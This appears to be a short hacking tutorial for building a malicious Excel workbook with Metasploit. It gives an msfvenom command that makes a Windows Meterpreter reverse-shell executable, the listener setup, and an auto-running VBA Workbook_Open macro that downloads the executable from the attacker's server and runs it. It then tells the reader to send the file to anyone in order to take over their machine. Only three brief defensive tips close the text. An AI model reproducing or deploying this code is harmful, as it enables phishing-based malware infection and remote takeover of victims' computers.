EXCEL MACRO EXPLOIT WITH SCRIPT

EXCEL MACRO EXPLOIT WITH SCRIPT

in this tutorial we are hacking a machine/laptop by using the MS EXCEL Macros with the help of metasploit.

machine 1: Kali Linux 

machine 2: windows 7/10 

Machine1:

Now we are creating an payload to get an back-end  access.open the terminal and type the below commands.

CMD # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.147.130 LPORT=4545 -f exe -o /var/www/html/loki.exe

restart the apache server .

CMD #systemctl restart apache2

Now open the metasploit console to make establish an connection with that payload and victim CMD #msfconsole
CMD  #use exploit/multi/handler
CMD  #set payload windows/meterpreter/reverse_tcp
CMD  #set LHOST 192.168.147.130
CMD #set LPORT 4545
CMD #exploit


don't close the terminal, wait for the victims response. 

machine 2;

In Windows Machine, open excel and make an macros enable
excel>Developer>Visual Basics> ThisWorkbook(double click) and past below code



_________________________________________________________________________

Private Sub Workbook_Open()
'Step 1: Declare your variables
Dim ws As Worksheet
'Step 2: Start looping through all worksheets
For Each ws In ThisWorkbook.Worksheets
'Step 3: Unhide All Worksheets
ws.Visible = xlSheetVisible
'Step 4: Loop to next worksheet
Next ws
'Step 5: Hide the Start Sheet
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://192.168.147.130/loki.exe", False
xHttp.Send
With bStrm
.Type = 1 '//binary
.Open
.write xHttp.responseBody
.savetofile "loki.exe", 2 '//overwrite
End With
Shell ("loki.exe")
End Sub

________________________________________________________________________

save the excel as Excel Macro-enable Workbook. as shown in below


now we are affix the payload to the excel sheet. now transfer this excel sheet to any one ,if they open this excel sheet the back-end exploit will works with the help of the macros and the machine one will get the complete access of our laptop.

In machine 1 an sessions will established and type the command help to get more details.

HOW TO DEFEND THIS TYPE OF ATTACKS ?

• Make always macros disable.
• Do not open Un-known files.
• Maintain an genuine anti-virus 

Thank you!!!